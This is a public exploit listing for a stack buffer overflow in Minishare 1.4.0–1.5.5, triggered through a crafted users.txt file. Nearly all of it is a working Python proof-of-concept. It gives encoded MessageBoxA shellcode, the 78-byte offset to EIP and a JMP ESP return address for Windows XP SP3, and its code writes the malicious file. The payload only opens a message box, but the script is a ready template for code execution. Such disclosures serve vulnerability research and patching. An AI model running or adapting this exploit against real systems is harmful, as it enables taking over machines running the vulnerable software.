Minishare 1.5.5 Buffer Overflow

`# Exploit Title: Minishare 1.5.5 Buffer Overflow Vulnerability (users.txt)  
# Date: 11/02/2010  
# Author: Chris Gabriel  
# Software Link: http://sourceforge.net/projects/minishare  
# Version: 1.4.0 - 1.5.5  
# Tested on: Windows XP SP3 EN  
# CVE:  
  
# MessageBoxA TITLE=HAX TEXT=HAX WIN XP SP3 Shellcode  
# \xbb\x48\x41\x58\x00\x53\x89\xe6\x31\xc0\x50\x56\x56\x50  
# \xb8\xea\x07\x45\x7e\xff\xd0  
  
# msfencoded MessageBoxA shellcode  
# [*] x86/shikata_ga_nai succeeded with size 48 (iteration=1)  
# \x33\xc9\xb1\x06\xda\xd2\xd9\x74\x24\xf4\x5b\xb8\x1f\xf9  
# \xf2\x17\x83\xeb\xfc\x31\x43\x10\x03\x43\x0f\x1b\x07\xac  
# \x67\x9a\xb0\xd3\x24\x95\xa7\xe5\x0a\xf5\x71\x50\xda\x4e  
# \x97\x5b\x9f\xd0\x97\xb4  
  
# ALPHA3.py x86 ascii uppercase ESP --input="shellcode-encoded"  
# alpha3 encoded ascii uppercase MessageBoxA Shellcode  
shellcode = (  
"TYVTX10X41PZ41H4A4H1TA91TAFVTZ32PZNBFZDQE02D"  
"QF0D13DJE1F4847029R9VNN0D668M194A0I5G5L2G3W3"  
"M3Z19LN2A2Z1G0N2K0N4YK0JO9L9Q1S36403F0G3V2K1"  
"Q9S123I1Y3N9R8M4E0G"  
)  
  
# 78 bytes till EIP  
# 82 bytes till ESP  
# 304 for payload  
# EIP OVERWRITE  
buff = "A" * 78  
buff += "\x4b\x49\x48\x7e" #7E48494B JMP ESP in user32.dll win xp sp3  
buff += shellcode  
  
try:  
f = open("users.txt",'w')  
f.write(buff)  
f.close()  
print "[+] Vulnerable file created! Place the 'users.txt' file in the Minishare directory and run the program...\n"  
except:  
print "[-] Error occured!"  
  
`